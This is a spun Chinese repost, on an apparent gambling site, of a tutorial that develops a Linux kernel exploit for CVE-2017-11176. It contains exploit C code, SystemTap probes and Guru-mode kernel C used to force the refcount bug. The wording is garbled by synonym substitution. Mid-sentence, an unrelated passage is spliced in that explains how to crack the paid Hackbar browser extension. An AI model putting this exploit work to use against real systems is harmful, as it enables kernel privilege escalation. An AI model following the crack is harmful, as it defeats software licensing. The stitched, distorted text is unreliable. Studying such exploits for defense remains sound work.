CVE-2017-11176: 一步一步linux内核破绽应用 (一)(System Tap) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2017-11176: 一步一步linux内核破绽应用 (一)(System Tap)

申博_新闻事件 申博 73次浏览 未收录 0个评论

Reaching the Retry Logic

在上一节中,我们剖析了破绽并设想了一个能够触发破绽的进击场景。在本节中,我们将看到怎样触发破绽代码(retry局部)并最先编写破绽应用代码。

现实上,在最先前,我们必需搜检该破绽是不是是可应用的。若是我们以至没法抵达有破绽的代码途径(由于一些平安搜检不知足),那就没有来由继承了。

剖析retry前的代码

像大多数体系挪用一样,mq_notify起首运用copy_from_user()函数将用户空间的数据拷贝到内核空间:

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
        const struct sigevent __user *, u_notification)
    {
      int ret;
      struct file *filp;
      struct sock *sock;
      struct inode *inode;
      struct sigevent notification;
      struct mqueue_inode_info *info;
      struct sk_buff *nc;

[0]   if (u_notification) {
[1]     if (copy_from_user(&notification, u_notification,
              sizeof(struct sigevent)))
          return -EFAULT;
      }

      audit_mq_notify(mqdes, u_notification ? &notification : NULL);  // <--- you can ignore this

代码起首搜检用户空间供应的参数u_notification不为NULL [0]然后将它拷贝到内核空间中[1](notification)。

接下来,有一系列关于用户空间供应的struct sigevent参数的搜检:

nc = NULL;
      sock = NULL;
[2]   if (u_notification != NULL) {
[3a]     if (unlikely(notification.sigev_notify != SIGEV_NONE &&
               notification.sigev_notify != SIGEV_SIGNAL &&
               notification.sigev_notify != SIGEV_THREAD))
          return -EINVAL;
[3b]    if (notification.sigev_notify == SIGEV_SIGNAL &&
          !valid_signal(notification.sigev_signo)) {
          return -EINVAL;
        }
[3c]    if (notification.sigev_notify == SIGEV_THREAD) {
          long timeo;

          /* create the notify skb */
          nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
          if (!nc) {
            ret = -ENOMEM;
            goto out;
          }
[4]       if (copy_from_user(nc->data,
              notification.sigev_value.sival_ptr,
              NOTIFY_COOKIE_LEN)) {
            ret = -EFAULT;
            goto out;
          }

          /* TODO: add a header? */
          skb_put(nc, NOTIFY_COOKIE_LEN);
          /* and attach it to the socket */

    retry:                                    // <---- we want to reach this!
            filp = fget(notification.sigev_signo);

若是供应的参数不为NULL [2],则会搜检sigev_notify三次([3a],[3b],[3c])。别的一处copy_from_user()挪用会将用户供应的notification.sigev_value_sival_ptr的值作为参数[4]。这须要指向有效的用户空间可读地区,不然copy_from_user()将会失利。

struct sigevent声明:

// [include/asm-generic/siginfo.h]

    typedef union sigval {
      int sival_int;
      void __user *sival_ptr;
    } sigval_t;

    typedef struct sigevent {
      sigval_t sigev_value;
      int sigev_signo;
      int sigev_notify;
      union {
        int _pad[SIGEV_PAD_SIZE];
         int _tid;

        struct {
          void (*_function)(sigval_t);
          void *_attribute; /* really pthread_attr_t */
        } _sigev_thread;
      } _sigev_un;
    } sigevent_t;

末了,要进入retry途径最少一次,我们须要按以下体式格局实行:

  • u_notification参数不为NULL
  • u_notification.sigev_notify设置为SIGEV_THREAD
  • notification.sigev_value.sival_ptr必需指向最少有NOTIFY_COOKIE_LEN(=32)字节的有效可读用户空间地点(参考[include/linux/mqueue.h])

初次编写exp

最先编写exp并考证统统ok

/*
     * CVE-2017-11176 Exploit.
     */

    #include <mqueue.h>
    #include <stdio.h>
    #include <string.h>


    #define NOTIFY_COOKIE_LEN (32)


    int main(void)
    {
      struct sigevent sigev;
      char sival_buffer[NOTIFY_COOKIE_LEN];

      printf("-={ CVE-2017-11176 Exploit }=-\n");

      // initialize the sigevent structure
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;

      if (mq_notify((mqd_t)-1, &sigev))
      {
        perror("mqnotify");
        goto fail;
      }
      printf("mqnotify succeed\n");

      // TODO: exploit

      return 0;

    fail:
      printf("exploit failed!\n");
      return -1;
    }

发起运用Makefile来简化破绽应用开辟(能够很轻易构建并运转剧本)。编译的时刻须要带有-lrt编译参数,代码中要运用mq_notify就须要加这个参数(gcc -lrt)。别的,发起运用-O0编译参数来制止gcc从新排序我们的代码(它能够致使难以调试的毛病)。

-={ CVE-2017-11176 Exploit }=-
mqnotify: Bad file descriptor
exploit failed!

mq_notify返回“Bad file descriptor”,相当于“-EBADF”。有三个处所能够发作此毛病。多是两个fget()挪用之一,也多是背面的(filp->f_op != &mqueue_file_operations)搜检。

Hello System Tap!

在破绽应用开辟的初期阶段,强烈发起在带有调试标记的内核中运转破绽,它许可运用SystemTap!SystemTap是一个很棒的东西,能够在不进入gdb的情况下直接探测内核。它使历程可视化变得轻易。

让我们从基础的System Tap(stap)剧本最先:

# mq_notify.stp

    probe syscall.mq_notify
    {
      if (execname() == "exploit")
      {
        printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)
      }
    }

    probe syscall.mq_notify.return
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)
      }
    }

这个剧本安装了两个探测器,这些探测器将在体系挪用实行前和实行后分别被挪用。

在调试多线程时,打印pid()和tid()会有很大资助。别的,运用(execname()==”exploit”)推断语句许可限定输出。

WARNING:若是输出太多,systemtap能够会默默地抛弃某些行!

运转剧本

stap -v mq_notify.stp

运转exp:

(14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)
(14427-14427) <<< mq_notify = fffffffffffffff7

很好,探针好像有效。我们能够看到mq_notify()体系挪用的两个参数都相符我们传入的参数(我们设置第一个参数为“-1”,而0x7ffdd7421400看起来像用户空间的地点)。它返回fffffffffffffff7,即-EBADF(=-9)。让我们再增加一些探针。

syscall钩子(以”SYSCALL_DEFINE*”开首的函数)分歧,能够运用以下语法钩住一般内核函数:

probe kernel.function ("fget")
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $$parms)
      }
    }

WARNING:由于某种原因,并不是一切内核函数都能够运用钩子。在失足情况下,System Tap会关照你并谢绝启动剧本。

让我们为mq_notify()中挪用的每一个函数增加响应探针,以检察代码流并从新运转exp:

(17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)
(17850-17850) [skb] <<== skb_put = ffff88000a187600
(17850-17850) [vfs] ==>> fget (fd=0x3)
(17850-17850) [vfs] <<== fget = ffff88002e271280
(17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)
(17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800
(17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 timeo=0xffff88002e1f3f40 ssk=0x0)
(17850-17850) [netlink] <<== netlink_attachskb = 0
(17850-17850) [vfs] ==>> fget (fd=0xffffffff)
(17850-17850) [vfs] <<== fget = 0
(17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
(17850-17850) [netlink] <<== netlink_detachskb
(17850-17850) [SYSCALL] <<== mq_notify= -9

第一个破绽

我们好像准确地抵达了retry代码途径,由于我们有以下实行历程:

  • copy_from_user:我们的指针不为null
  • alloc_skb:我们经由过程了SIGEV_THREAD推断
  • copy_from_user:复制了我们的sival_buffer
  • skb_put:透露表现先前的copy_from_user()并没有失利
  • fget(fd = 0x3):<— ???

Hmm……那里已失足了……我们没有在notification.sigev_signo中供应任何文件描述符,它应当是零(不是3):

// initialize the sigevent structure
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;

然则,第一次挪用fget()并没有失利。别的netlink_getsockbyfilp()和netlink_attachskb()都胜利了!这也很新鲜,由于我们没有建立任何AF_NETLINK套接字。

第二次fget()挪用失利了,由于我们在mq_notify()的第一个参数中设置了“-1”(0xffffffff )。那末,那里失足了?

让我们回到exp,打印我们的sigevent指针,并将其与传递给体系挪用的值举行对照:

printf("sigev = 0x%p\n", &sigev);
  if (mq_notify((mqd_t) -1, &sigev))
-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7ffdd9257f00        // <------
mq_notify: Bad file descriptor
exploit failed!
(18652-18652) [SYSCALL] ==>> mq_notify (-1, 0x7ffdd9257e60)

明显,传递给体系挪用mq_notify的构造体与我们在exp中供应的分歧。这意味着system tap是有题目的(有能够)或许……

我们被库封装骗了

让我们处理这个题目,经由过程syscall()体系挪用来直接挪用mq_notify

起首增加以下头文件,以及我们本身的包装器:

#define _GNU_SOURCE
    #include <unistd.h>
    #include <sys/syscall.h>

    #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

别的,请记住在Makefile中删除“-lrt”(我们如今直接运用syscall)。

将sigev_signo显式设置为’-1’,由于0现实上是一个有效的文件描述符,并运用包装器:

int main(void)
      {
        // ... cut ...

        sigev.sigev_signo = -1;

        printf("sigev = 0x%p\n", &sigev);
        if (_mq_notify((mqd_t)-1, &sigev))

        // ... cut ...
      }

运转

-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7fffb7eab660
mq_notify: Bad file descriptor
exploit failed!

(18771-18771) [SYSCALL] ==>> mq_notify (-1, 0x7fffb7eab660)           // <--- as expected!
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> skb_put (skb=0xffff88003d2e95c0 len=0x20)
(18771-18771) [skb] <<== skb_put = ffff88000a0a2200
(18771-18771) [vfs] ==>> fget (fd=0xffffffff)                         // <---- that's better!
(18771-18771) [vfs] <<== fget = 0
(18771-18771) [SYSCALL] <<== mq_notify= -9

这一次,我们在第一次fget()失利以后直接进入out途径(如预期的那样)。

到目前为止,我们晓得能够抵达”retry途径(最少一次),而不会被任何平安搜检所阻挠。一个罕见的圈套已袒露(由库封装而不是体系挪用引发),我们晓得了怎样修复它。为了制止未来涌现一样的毛病,我们将包装每一个体系挪用。

让我们继承前进并在System Tap的资助下触发破绽。

强迫触发破绽

偶然想要在不睁开一切内核代码的情况下考证设法主意。在本节中,我们将运用System Tap Guru形式来修正内核数据构造并强迫实行特定的内核途径。

换句话说,我们将从内核空间触发破绽。我们的设法主意是,若是我们以至没法从内核空间触发破绽,那末我们也没法从用户空间做到。因而,让我们起首经由过程修正内核来知足每一个请求,然后在用户空间中逐一完成它们(拜见第2局部)。

提示一下,若是知足以下两个前提就申明我们能够触发毛病:

记绕过hackbar收费版破解过程

Hackbar作为网络安全学习者常备的工具,最新版也开始收费了,一个月3刀,6个月5刀,1年9刀,虽然费用不贵,还是动动手。 谷歌Chrome浏览器: 打开Chrome插件列表,查看Hackbar的插件ID:djmoeo…… ,在文件搜索里搜这段字符,我这里用的是Everything。 用文本编辑器打开这个文件夹下的 2.2.2\theme\js\hackbar-panel.js 文件 在hackbar-panel.js 的第35、40、43行左右的disable_hackbar(); 注释掉,同时添加一行init(); 然后Ctrl+S保存文件。 再打开F12 看看,可以用了。 火狐Firefox: 和 Chrome 的插件有点不一样,firefox 的插件必须是经过签名过的,才能加载到浏览器。修改插件里的任何一个字符都会导致签名失效。非签名的只能通过临时加载插件的方式,加载到浏览器里面。这里有两个替代方案。 方案一: 使用没升级前的hackbar,升级完的是2.2.2版本,找到一个2.1.3版本,没有收费代码,可以直接加载使用。 hackbar2.1.3版本:https://github.com/HCTYMFF/hackbar2.1.3 使用方法:打开firefox的插件目录 然后点 “从文件安装附加组件” 加载{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi 即可 方案二: 在火狐扩展组件商店搜索 “Max hackbar” 地址:https://addons.mozilla

  • 我们抵达了“retry逻辑”(轮回回到retry途径)。也就是说,我们起首须要进入netlink_attachskb(),并使其返回1. sock的援用计数将减一。
  • 在轮回回到retry途径(goto retry)以后,下一次挪用fget()必需返回NULL,如许就会退出(out途径)并再次削减sock的援用计数。

netlink_attachskb()

在上一小节中,须要netlink_attachskb()返回1以触发破绽。然则,在抵达它之前有几个前提:

  • 我们须要供应一个有效的文件描述符,如许第一次挪用fget()不会失利
  • 文件描述符指向的文件应当是AF_NETLINK范例的套接字

也就是说,我们应经由过程一切搜检:

retry:
[0]       filp = fget(notification.sigev_signo);
          if (!filp) {
            ret = -EBADF;
            goto out;
          }
[1]       sock = netlink_getsockbyfilp(filp);
          fput(filp);
          if (IS_ERR(sock)) {
            ret = PTR_ERR(sock);
            sock = NULL;
            goto out;
          }

经由过程第一个搜检[0]很简单,只需供应一个有效的文件描述符(运用open(),socket()等)。然则,最好直接运用准确的范例,不然不会经由过程第二次搜检[1]:

struct sock *netlink_getsockbyfilp(struct file *filp)
    {
      struct inode *inode = filp->f_path.dentry->d_inode;
      struct sock *sock;

      if (!S_ISSOCK(inode->i_mode))         // <--- this need to be a socket...
        return ERR_PTR(-ENOTSOCK);

      sock = SOCKET_I(inode)->sk;
      if (sock->sk_family != AF_NETLINK)    // <--- ...from the AF_NETLINK family
        return ERR_PTR(-EINVAL);

      sock_hold(sock);
      return sock;
    }

破绽应用代码转变(记得包装体系挪用socket()):

/*
     * CVE-2017-11176 Exploit.
     */

    #define _GNU_SOURCE
    #include <mqueue.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <linux/netlink.h>

    #define NOTIFY_COOKIE_LEN (32)

    #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
    #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

    int main(void)
    {
      struct sigevent sigev;
      char sival_buffer[NOTIFY_COOKIE_LEN];
      int sock_fd;

      printf("-={ CVE-2017-11176 Exploit }=-\n");

      if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)
      {
        perror("socket");
        goto fail;
      }
      printf("netlink socket created = %d\n", sock_fd);

      // initialize the sigevent structure
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;
      sigev.sigev_signo = sock_fd;  // <--- not '-1' anymore

      if (_mq_notify((mqd_t)-1, &sigev))
      {
        perror("mq_notify");
        goto fail;
      }
      printf("mq_notify succeed\n");

      // TODO: exploit

      return 0;

    fail:
      printf("exploit failed!\n");
      return -1;
    }

运转:

-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!

(18998-18998) [SYSCALL] ==>> mq_notify (-1, 0x7ffce9cf2180)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> skb_put (skb=0xffff88003d1e0480 len=0x20)
(18998-18998) [skb] <<== skb_put = ffff88000a0a2800
(18998-18998) [vfs] ==>> fget (fd=0x3)                                          // <--- this time '3' is expected
(18998-18998) [vfs] <<== fget = ffff88003cf14d80                                // PASSED
(18998-18998) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003cf14d80)
(18998-18998) [netlink] <<== netlink_getsockbyfilp = ffff88002ff60000           // PASSED
(18998-18998) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 timeo=0xffff88003df8ff40 ssk=0x0)
(18998-18998) [netlink] <<== netlink_attachskb = 0                              // UNWANTED BEHAVIOR
(18998-18998) [vfs] ==>> fget (fd=0xffffffff)
(18998-18998) [vfs] <<== fget = 0
(18998-18998) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)
(18998-18998) [netlink] <<== netlink_detachskb
(18998-18998) [SYSCALL] <<== mq_notify= -9

看起来和第一次有题目的输出(运用库函数那次)很像,这里的区别是我们现实掌握每一个数据(文件描述符,sigev),没有任何东西隐蔽在库封装背面。由于第一个fget()netlink_getsockbyfilp()都没有返回NULL,能够假定经由过程了两个搜检。

迫使netlink_attachskb()返回1

运用前面的代码,我们让netlink_attachskb()返回0。这意味着我们进入了“一般”途径。我们不愿望如许,我们想进入“retry”途径(返回1)。那末,让我们回到内核代码:

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;

      nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
        DECLARE_WAITQUEUE(wait, current);
        if (!*timeo) {
          // ... cut (never reached in our code path) ...
        }

        __set_current_state(TASK_INTERRUPTIBLE);
        add_wait_queue(&nlk->wait, &wait);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
          *timeo = schedule_timeout(*timeo);

        __set_current_state(TASK_RUNNING);
        remove_wait_queue(&nlk->wait, &wait);
        sock_put(sk);

        if (signal_pending(current)) {
          kfree_skb(skb);
          return sock_intr_errno(*timeo);
        }
        return 1;                             // <---- the only way
      }
      skb_set_owner_r(skb, sk);
      return 0;
    }

netlink_attachskb()返回“1”须要我们起首知足前提[0]:

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))

是时刻开释System Tap的真正气力并进入:Guru形式!Guru形式能够编写由探针挪用的嵌入“C”代码。就像直接编写将在运转时注入的内核代码,就像Linux内核模块(LKM)一样。因而,这里的任何编程毛病都邑致使内核瓦解!您如今是内核开辟人员:-)。

这里要做的是修正struct sock “sk”和/或struct netlink_sock “nlk”数据构造,让前提成真。然则,在实行此操纵之前,让我们猎取一些有关以后struct sock sk状况的有效信息。

修正netlink_attachskb()探针并增加一些”嵌入”C代码(“%{”和“%}”局部)。

%{
    #include <net/sock.h>
    #include <net/netlink_sock.h>
    %}

    function dump_netlink_sock:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
      struct netlink_sock *nlk = (void*) sk;

      _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
      _stp_printf("- sk = %p\n", sk);
      _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
      _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
      _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

      _stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));

      _stp_printf("-={ dump_netlink_sock: END}=-\n");
    %}

    probe kernel.function ("netlink_attachskb")
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

        dump_netlink_sock($sk);
      }
    }

WARNING:一样,这里的代码在内核态下运转,任何毛病都邑致使内核瓦解。

运用-g(即guru)修饰符运转system tap:

-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!

(19681-19681) [SYSCALL] ==>> mq_notify (-1, 0x7ffebaa7e720)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> skb_put (skb=0xffff88003d1e05c0 len=0x20)
(19681-19681) [skb] <<== skb_put = ffff88000a0a2200
(19681-19681) [vfs] ==>> fget (fd=0x3)
(19681-19681) [vfs] <<== fget = ffff88003d0d5680
(19681-19681) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d0d5680)
(19681-19681) [netlink] <<== netlink_getsockbyfilp = ffff880036256800
(19681-19681) [netlink] ==>> netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 timeo=0xffff88003df5bf40 ssk=0x0)

-={ dump_netlink_sock: 0xffff880036256800 }=-
- sk = 0xffff880036256800
- sk->sk_rmem_alloc = 0         // <-----
- sk->sk_rcvbuf = 133120        // <-----
- sk->sk_refcnt = 2
- nlk->state = 0                // <-----
-={ dump_netlink_sock: END}=-

(19681-19681) [netlink] <<== netlink_attachskb = 0
(19681-19681) [vfs] ==>> fget (fd=0xffffffff)
(19681-19681) [vfs] <<== fget = 0
(19681-19681) [netlink] ==>> netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)
(19681-19681) [netlink] <<== netlink_detachskb
(19681-19681) [SYSCALL] <<== mq_notify= -9

dump_netlink_sock()函数在进入netlink_attachskb()时被挪用。我们能够看到,nlk->state的第一个比特位未设置,sk_rmem_alloc小于sk_rcvbuf …以是我们并没有知足前提。

在挪用netlink_attachskb()之前,修正nlk->state:

function dump_netlink_sock:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
      struct netlink_sock *nlk = (void*) sk;

      _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
      _stp_printf("- sk = %p\n", sk);
      _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
      _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
      _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

      _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
      nlk->state |= 1;                                                  // <-----
      _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

      _stp_printf("-={ dump_netlink_sock: END}=-\n");
    %}

再次运转:

-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3

<<< HIT CTRL-C HERE >>>

^Cmake: *** [check] Interrupt


(20002-20002) [SYSCALL] ==>> mq_notify (-1, 0x7ffc48bed2c0)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> skb_put (skb=0xffff88003d3a6080 len=0x20)
(20002-20002) [skb] <<== skb_put = ffff88002e142600
(20002-20002) [vfs] ==>> fget (fd=0x3)
(20002-20002) [vfs] <<== fget = ffff88003ddd8380
(20002-20002) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003ddd8380)
(20002-20002) [netlink] <<== netlink_getsockbyfilp = ffff88003dde0400
(20002-20002) [netlink] ==>> netlink_attachskb (sk=0xffff88003dde0400 skb=0xffff88003d3a6080 timeo=0xffff88002e233f40 ssk=0x0)

-={ dump_netlink_sock: 0xffff88003dde0400 }=-
- sk = 0xffff88003dde0400
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after)  nlk->state = 1
-={ dump_netlink_sock: END}=-

<<< HIT CTRL-C HERE >>>

(20002-20002) [netlink] <<== netlink_attachskb = fffffffffffffe00   // <-----
(20002-20002) [SYSCALL] <<== mq_notify= -512

Woops!壅塞在了mq_notify()挪用中(即重要的exp历程卡在内核空间中,在体系挪用内部)。荣幸的是,我们能够运用CTRL-C来规复掌握。

注重,这一次netlink_attachskb()返回0xfffffffffffffe00,即“-ERESTARTSYS”。换句话说,我们进入了这条代码途径:

if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo); // <---- return -ERESTARTSYS
        }

这意味着我们现实上抵达了netlink_attachskb()的别的一条途径,义务胜利!

制止壅塞

mq_notify()被壅塞的原因是:

__set_current_state(TASK_INTERRUPTIBLE);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
            *timeo = schedule_timeout(*timeo);

        __set_current_state(TASK_RUNNING);

稍后我们将越发深切调理的细节局部(拜见第2局部),但如今只需晓得我们的历程将壅塞直到知足特别前提(都是关于守候行列)。

或许我们能够制止被调理/壅塞?为此,我们须要制止挪用schedule_timeout()。让我们将sk标记为“SOCK_DEAD”(前提的末了一局部)。也就是说,转变“sk”内容(就像我们之前做的那样),使得以下函数sock_flag()返回真:

// from [include/net/sock.h]
    static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
    {
      return test_bit(flag, &sk->sk_flags);
    }

    enum sock_flags {
      SOCK_DEAD,      // <---- this has to be '0', but we can check it with stap!
      ... cut ...
    }

再次修正探针:

// mark it congested!
  _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
  nlk->state |= 1;            
  _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

  // mark it DEAD
  _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
  _stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);
  sk->sk_flags |= (1 << SOCK_DEAD);
  _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);

从新运转……boom!exp主历程壅塞在了内核的无穷轮回中。原因是:

  • 它进入netlink_attachskb()函数并实行retry途径(先前设置的)
  • 线程没有被调理(被绕过了)
  • netlink_attachskb()返回1
  • 回到mq_notify(),实行“goto retry”语句
  • fget()返回一个非null值…
  • …netlink_getsockbyfilp()返回无误
  • 接着再次进入netlink_attachskb() …
  • …死轮回…

因而,有效地绕过了壅塞我们的schedule_timeout(),然则发作了死轮回。

制止死轮回

继承革新探针,使fget()在第二次挪用时失利!一种要领是直接从FDT中删除该文件描述符(设置为NULL):

%{
    #include <linux/fdtable.h>
    %}

    function remove_fd3_from_fdt:long (arg_unused:long)
    %{
        _stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");
        struct files_struct *files = current->files;
        struct fdtable *fdt = files_fdtable(files);
        fdt->fd[3] = NULL;
    %}

    probe kernel.function ("netlink_attachskb")
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

        dump_netlink_sock($sk); // it also marks the socket as DEAD and CONGESTED
        remove_fd3_from_fdt(0);
      }
    }
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!

(3095-3095) [SYSCALL] ==>> mq_notify (-1, 0x7ffe5e528760)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> skb_put (skb=0xffff88003f02cd00 len=0x20)
(3095-3095) [skb] <<== skb_put = ffff88003144ac00
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = ffff880031475480
(3095-3095) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff880031475480)
(3095-3095) [netlink] <<== netlink_getsockbyfilp = ffff88003cf56800
(3095-3095) [netlink] ==>> netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 timeo=0xffff88002d79ff40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003cf56800 }=-
- sk = 0xffff88003cf56800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3095-3095) [netlink] <<== netlink_attachskb = 1        // <-----
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = 0                         // <-----
(3095-3095) [netlink] ==>> netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)
(3095-3095) [netlink] <<== netlink_detachskb
(3095-3095) [SYSCALL] <<== mq_notify= -9

很好,内核跳出了工资制作的死轮回。愈来愈靠近进击场景:

  • netlink_attachskb()返回1
  • 第二次fget()挪用返回NULL

那末……我们是不是触发了这个毛病?

搜检援用计数值

由于统统都依照我们的设计举行,以是破绽应当被触发了而且sock的援用计数应当削减了两次。搜检一下。

在函数返回时没法取得挪用函数的参数。这意味着没法在netlink_attachskb()返回时搜检sock的内容。

一种要领是将netlink_getsockbyfilp()返回的sock指针存储在全局变量中(剧本中的sock_ptr)。然后经由过程我们嵌入的“C”代码(dump_netlink_sock())输出其内容:

global sock_ptr = 0;                  // <------ declared globally!

    probe syscall.mq_notify.return
    {
      if (execname() == "exploit")
      {
        if (sock_ptr != 0)                // <----- watch your NULL-deref, this is kernel-land!
        {
          dump_netlink_sock(sock_ptr);
          sock_ptr = 0;
        }

        printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)
      }
    }

    probe kernel.function ("netlink_getsockbyfilp").return
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)
        sock_ptr = $return;                 // <----- store it
      }
    }

再次运转

(3391-3391) [SYSCALL] ==>> mq_notify (-1, 0x7ffe8f78c840)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> skb_put (skb=0xffff88003d20cd00 len=0x20)
(3391-3391) [skb] <<== skb_put = ffff88003df9dc00
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = ffff88003d84ed80
